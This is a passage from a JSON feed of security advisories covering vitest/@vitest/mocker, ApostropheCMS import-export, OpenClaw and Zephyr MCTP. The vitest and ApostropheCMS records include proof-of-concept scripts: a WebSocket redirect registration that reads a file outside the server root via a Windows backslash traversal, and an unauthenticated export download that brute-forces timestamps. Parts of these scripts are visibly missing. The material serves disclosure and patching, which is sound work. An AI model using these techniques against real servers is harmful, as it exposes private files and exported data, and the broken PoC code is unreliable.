[GHSA-82fw-gwwq-j7x9](https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9) can be bypassed on Windows by using a backslash in the redirect URL pathname.\n\nThe fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite's file allowlist check. On Windows, a value such as `C:/project/root/..\\secret.txt` retains `..\\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.","detail":"## Summary\n\nThe path traversal fix released for [GHSA-82fw-gwwq-j7x9](https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9) can be bypassed on Windows by using a backslash in the redirect URL pathname.\n\nThe fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite's file allowlist check. On Windows, a value such as `C:/project/root/..\\secret.txt` retains `..\\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.\n\nI reproduced the issue with the published `@vitest/mocker` packages in both fixed release lines:\n\n- `@vitest/mocker@4.1.11`\n- `@vitest/mocker@5.0.0`\n\nThe current `main` source at commit `2ce29d5fa758046e5453bd92b8ed6c9da9709bb5` has the same behavior.\n\n## Patches\n\nFixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so `..\\` resolves the same as `../` and the allowlist check rejects it.\n\n## Relationship to GHSA-82fw-gwwq-j7x9\n\nThis is a bypass of the accepted fix, not a separate unrelated path. It uses the same `vitest:interceptor:register` redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.\n\nThe original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:\n\n- `4.1.11`\n- `>=5.0.0-rc.2, {\n const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')\n const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)\n socket.on('message', (raw) => {\n let message\n try { message = JSON.parse(raw.toString()) } catch { return }\n if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {\n clearTimeout(timer)\n socket.close()\n resolve()\n }\n })\n socket.on('open', () => socket.send(JSON.stringify({\n type: 'custom',\n event: 'vitest:interceptor:register',\n data: { type: 'redirect', raw: '', id, url: id, redirect },\n })))\n socket.on('error', reject)\n })\n}\n\ntry {\n await register('/control', 'traversal:../secret.txt')\n const controlResponse = await fetch(new URL('/control', baseUrl))\n const controlBody = await controlResponse.text()\n\n await register('/bypass', 'traversal:..\\\\secret.txt')\n const bypassResponse = await fetch(new URL('/bypass', baseUrl))\n const bypassBody = await bypassResponse.text()\n\n const result = {\n platform: process.platform,\n root,\n outsideFile: secret,\n slashTraversalStatus: controlResponse.status,\n slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),\n backslashTraversalStatus: bypassResponse.status,\n backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),\n returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,\n expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',\n }\n console.log(JSON.stringify(result, null, 2))\n const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked\n ? !result.backslashTraversalReturnedOutsideCanary\n : result.backslashTraversalReturnedOutsideCanary\n if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1\n} finally {\n await server.close()\n}\n```\n\nObserved with `@vitest/mocker@4.1.11`:\n\n```json\n{\n \"platform\": \"win32\",\n \"slashTraversalStatus\": 404,\n \"slashTraversalRejected\": true,\n \"backslashTraversalStatus\": 200,\n \"backslashTraversalReturnedOutsideCanary\": true,\n \"returnedBody\": \"SYNTHETIC_OUTSIDE_ROOT_CANARY\",\n \"expectedBackslashTraversalBlocked\": false\n}\n```\n\nThe same result was observed with `@vitest/mocker@5.0.0`.\n\nThis includes two useful controls:\n\n1. `traversal:../secret.txt` is rejected and returns 404, confirming the published forward-slash fix is active.\n2. `traversal:..\\secret.txt` returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.\n\nAffected package ranges reported by GitHub:\n@vitest/mocker: >= 4.1.11, < 4.1.12\n@vitest/mocker: >= 5.0.0-rc.2, < 5.0.3","action":"GitHub lists first patched versions: @vitest/mocker: 4.1.12; @vitest/mocker: 5.0.3. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T19:48:38.000Z","updatedAt":"2026-10-21T19:48:39.000Z","regions":["Global"],"vendor":null,"product":"@vitest/mocker, @vitest/mocker","stacks":["JavaScript packages (npm)","@vitest/mocker","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-xp26-3454-mjgp","asOf":"2026-10-21T19:48:39.000Z"},"epss":{"probability":0.00455,"percentile":0.39186,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112950&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-xp26-3454-mjgp","url":"https://github.com/advisories/GHSA-xp26-3454-mjgp","type":"primary","publishedAt":"2026-10-21T19:48:38.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-xp26-3454-mjgp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-xp26-3454-mjgp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-xp26-3454-mjgp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-xp26-3454-mjgp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-xp26-3454-mjgp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-xp26-3454-mjgp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-xp26-3454-mjgp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-xp26-3454-mjgp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-xp26-3454-mjgp, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112950&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112950, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112953","cveId":"CVE-2026-112953","aliases":["GHSA-5gc8-frw3-3vqm"],"kind":"vulnerability","title":"ApostropheCMS: Exposure of Sensitive Information via predictable export filenames","summary":"When a user exports content through `@apostrophecms/import-export`, the module copies the generated archive into uploadfs at `/exports/` and returns a public URL under `/uploads/exports/`. The filename is fully deterministic: site `shortName`, document type, a `YYYYMMDDHHmmss` timestamp, and the format extension. There is no secret token.\n\nAnyone who can guess that path can download the archive with a normal unauthenticated HTTP GET while the file is still present (10 minutes by default, longer if the site raises `importExport.export.expiration`). That is a different model from attachment URLs, which rely on hard-to-guess IDs.","detail":"## Summary\n\nWhen a user exports content through `@apostrophecms/import-export`, the module copies the generated archive into uploadfs at `/exports/` and returns a public URL under `/uploads/exports/`. The filename is fully deterministic: site `shortName`, document type, a `YYYYMMDDHHmmss` timestamp, and the format extension. There is no secret token.\n\nAnyone who can guess that path can download the archive with a normal unauthenticated HTTP GET while the file is still present (10 minutes by default, longer if the site raises `importExport.export.expiration`). That is a different model from attachment URLs, which rely on hard-to-guess IDs.\n\nSites that disable export, store uploads on a private backend with no anonymous read, or serve `/uploads` only behind authentication are not hit by the network download step—but the predictable naming is still a design flaw for the default local/public uploadfs layout.\n\nImport-only workflows and imports themselves are out of scope; this is specific to the export download URL.\n\n## Affected configurations\n\nAll of the following must apply:\n\n1. The `@apostrophecms/import-export` module is enabled and export is allowed for at least one page or piece type, **and**\n2. Export files are served the usual way: `copyIn` to `/exports/…` and delivery via the public `uploads` URL (default local uploadfs or any deployment that exposes the same path without per-file auth).\n\nIf export is turned off per type or globally, or `/uploads` is not world-readable, an anonymous attacker cannot pull the file over HTTP—but a co-resident attacker with filesystem or bucket listing access would still see guessable names.\n\n## Remediation\n\n- Put a high-entropy component in the export filename (e.g. `apos.util.generateId()`), **or**\n- Stop publishing exports on a world-readable URL—serve downloads through an authenticated route and keep objects in a private prefix until then, **or**\n- Document that `importExport.export.expiration` must stay short and treat `/uploads/exports/` as sensitive (weak on its own).\n\n### Details\n\n## Technical details\n\n`exportFile()` in `packages/import-export/lib/methods/export.js` builds the name and publishes it:\n\n```javascript\nconst date = dayjs().format('YYYYMMDDHHmmss');\nconst filename = `${self.apos.shortName}-${req.body.type.toLowerCase()}-export-${date}${format.extension}`;\nconst downloadPath = path.join('/exports', filename);\nawait copyIn(filepath, downloadPath);\n```\n\nThe admin UI sends `type` as the module name (e.g. `article`), which matches the filename. The download URL is only shown in the exporter’s notification; nothing binds the HTTP request to that user afterward. After `expiration` (default `1000 * 60 * 10` ms) a timer deletes the object from uploadfs, which limits exposure but leaves a brute-forceable window.\n\n## Proof of concept\n\nThe script boots a minimal Apostrophe app with import-export, performs an export as the task user, then downloads the same archive without a session—first by path guessing, then with raw `fetch`. It exits non-zero on failure.\n\n**Requirements:** Node 18+, `pnpm install` at the monorepo root (so `apostrophe` and `@apostrophecms/import-export` resolve). Set `APOSTROPHE_ROOT` to the checkout path.\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\n# --- config ---\nAPOSTROPHE_ROOT=\"${APOSTROPHE_ROOT:-}\"\nif [[ -z \"${APOSTROPHE_ROOT}\" || ! -f \"${APOSTROPHE_ROOT}/packages/import-export/package.json\" ]]; then\n echo \"Set APOSTROPHE_ROOT to your apostrophe monorepo checkout.\" >&2\n exit 1\nfi\n\nexport APOS_TEST_DB_PROTOCOL=sqlite\ncd \"${APOSTROPHE_ROOT}/packages/import-export\"\n\n# --- run embedded PoC (no extra repo files) ---\nnode {\n let apos;\n const shortName = 'poc-export-site';\n const exportsPath = (root) => path.join(root, 'public/uploads/exports');\n\n try {\n apos = await t.create({\n root: module,\n testModule: true,\n shortName,\n modules: {\n '@apostrophecms/express': {\n options: { session: { secret: 'poc-export-secret' } }\n },\n '@apostrophecms/import-export': {\n options: {\n importExport: { export: { expiration: 60 * 1000 } }\n }\n },\n '@apostrophecms/uploadfs': { options: { storage: 'local' } },\n 'home-page': { extend: '@apostrophecms/page-type' },\n article: {\n extend: '@apostrophecms/piece-type',\n options: { alias: 'article', autopublish: true }\n }\n }\n });\n\n const importExport = apos.modules['@apostrophecms/import-export'];\n const req = apos.task.getReq();\n await apos.article.insert(req, {\n ...apos.article.newInstance(),\n title: 'GHSA PoC confidential piece'\n });\n\n const articles = await apos.article.find(req).toArray();\n assert.ok(articles.length > 0);\n\n const exportStartedAt = dayjs();\n req.body = {\n _ids: articles.map((d) => d._id),\n formatName: 'gzip',\n type: 'article'\n };\n\n const { url: downloadUrl } = await importExport.export(req, apos.article);\n const fileName = path.basename(downloadUrl);\n const prefix = `${shortName}-article-export-`;\n assert.ok(fileName.startsWith(prefix) && fileName.endsWith('.tar.gz'));\n\n const timestamp = fileName.slice(prefix.length, -'.tar.gz'.length);\n const onDisk = path.join(exportsPath(apos.rootDir), fileName);\n assert.ok(require('node:fs').existsSync(onDisk));\n\n const anon = await apos.http.get(downloadUrl, { fullResponse: true });\n assert.equal(anon.status, 200);\n assert.ok(Number(anon.headers['content-length'] || 0) > 0 || anon.body?.length > 0);\n\n let bruteForced = null;\n const center = exportStartedAt.startOf('second');\n for (let offset = -3; offset 100);\n\n console.log('OK: unauthenticated download', {\n fileName,\n bruteForced,\n bytes: bytes.byteLength,\n listenUrl: base\n });\n } finally {\n if (apos) {\n await t.destroy(apos);\n }\n }\n})().catch((err) => {\n console.error(err);\n process.exit(1);\n});\nNODE\n```\n\n**Expected output:** a line similar to \n`OK: unauthenticated download { fileName: 'poc-export-site-article-export-….tar.gz', …, bytes: , listenUrl: 'http://127.0.0.1:…' }`\n\n## Impact\n\n- **Confidentiality:** An unauthenticated remote party can obtain a full export tarball (documents, metadata, \n\nAffected package ranges reported by GitHub:\n@apostrophecms/import-export: < 3.7.1","action":"GitHub lists first patched versions: @apostrophecms/import-export: 3.7.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T19:45:03.000Z","updatedAt":"2026-10-21T19:45:04.000Z","regions":["Global"],"vendor":null,"product":"@apostrophecms/import-export","stacks":["JavaScript packages (npm)","@apostrophecms/import-export","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-5gc8-frw3-3vqm","asOf":"2026-10-21T19:45:04.000Z"},"epss":{"probability":0.00557,"percentile":0.46164,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112953&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-5gc8-frw3-3vqm","url":"https://github.com/advisories/GHSA-5gc8-frw3-3vqm","type":"primary","publishedAt":"2026-10-21T19:45:03.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-5gc8-frw3-3vqm, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112953&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112953, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-62197","cveId":"CVE-2026-62197","aliases":["GHSA-3x84-qq85-fj65"],"kind":"vulnerability","title":"OpenClaw: Browser CDP discovery could accept blocked WebSocket URLs","summary":"Browser CDP discovery could accept blocked WebSocket URLs. In affected versions, a lower-trust caller or configured input path could reach network destinations that should have been blocked by OpenClaw policy.\n\nThis advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.","detail":"### Summary\n\nBrowser CDP discovery could accept blocked WebSocket URLs. In affected versions, a lower-trust caller or configured input path could reach network destinations that should have been blocked by OpenClaw policy.\n\nThis advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.\n\n### Impact\n\nWhen the affected feature is enabled and reachable, this could reach network destinations that should have been blocked by OpenClaw policy. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path.\n\n### Patched Versions\n\nThe first stable patched version is `2026.6.6`.\n\n### Mitigations\n\nUpgrade to a patched OpenClaw release when one is listed. Before upgrading, restrict the affected feature to trusted operators or disable it when it is not needed. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.\n\nAffected package ranges reported by GitHub:\nopenclaw: < 2026.6.6","action":"GitHub lists first patched versions: openclaw: 2026.6.6. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T19:37:42.000Z","updatedAt":"2026-10-21T19:37:44.000Z","regions":["Global"],"vendor":null,"product":"openclaw","stacks":["JavaScript packages (npm)","openclaw","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N","sourceUrl":"https://github.com/advisories/GHSA-3x84-qq85-fj65","asOf":"2026-10-21T19:37:44.000Z"},"epss":{"probability":0.00334,"percentile":0.26541,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-62197&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-3x84-qq85-fj65","url":"https://github.com/advisories/GHSA-3x84-qq85-fj65","type":"primary","publishedAt":"2026-10-21T19:37:42.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-3x84-qq85-fj65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-3x84-qq85-fj65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-3x84-qq85-fj65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-3x84-qq85-fj65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-3x84-qq85-fj65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-3x84-qq85-fj65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-3x84-qq85-fj65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-3x84-qq85-fj65, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-3x84-qq85-fj65, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-62197&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-62197, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79976","cveId":"CVE-2026-79976","aliases":[],"kind":"vulnerability","title":"The MCTP-over-I2C+GPIO target binding in subsys/pmci/mctp/mctp_i2c_gpio_target.c emulates a small pseudo-register file, where the bus controller first writes a register number and...","summary":"The MCTP-over-I2C+GPIO target binding in subsys/pmci/mctp/mctp_i2c_gpio_target.c emulates a small pseudo-register file, where the bus controller first writes a register number and then writes or reads payload bytes. The selected register (b->reg_addr) and the data-phase flag (b->rxtx) were never cleared when the controller issued an I2C STOP, so after a completed transfer the target still had a data register selected while the packet buffer that register refers to had already been consumed and set to NULL by mctp_i2c_gpio_target_stop().\n\nA controller on the bus can re-enter the same branch of mctp_i2c_gpio_target_stop() with a NULL buffer using two ordinary transactions and no authentication: first a normal packet write to MCTP_I2C_GPIO_RX_MSG_ADDR followed by STOP (which delivers and frees b->rx_pkt), then a bare read transaction followed by STOP. The failing read_requested() call leaves the stale state untouched and the I2C driver still delivers the STOP callback, which then calls mctp_bus_rx() with a NULL packet. The symmetric case exists on the transmit side, where the stale MCTP_I2C_GPIO_TX_MSG_ADDR selection dereferences b->tx_pkt->end after b->tx_pkt has been cleared and additionally signals b->tx_complete a second time, causing the next outbound packet to be dropped.\n\nThe dereference happens in the I2C target interrupt handler, so on any target that traps accesses to address 0 the result is a fatal exception and a device reset or halt — a denial of service inflicted by any device able to act as controller on the shared management bus (for example compromised firmware on a peer MCTP endpoint or on the BMC). On parts where address 0 is readable, the impact degrades to a malformed packet buffer being handed to the MCTP stack and lost transmit packets. No attacker-controlled value is written and no confidentiality or integrity boundary is crossed.\n\nThe fix resets b->reg_addr to MCTP_I2C_GPIO_INVALID_ADDR and clears b->rxtx at every STOP, so a new register must be selected before any data phase can run again. Only builds that opt into the experimental CONFIG_MCTP subsystem with CONFIG_MCTP_I2C_GPIO_TARGET=y are affected.","detail":"The MCTP-over-I2C+GPIO target binding in 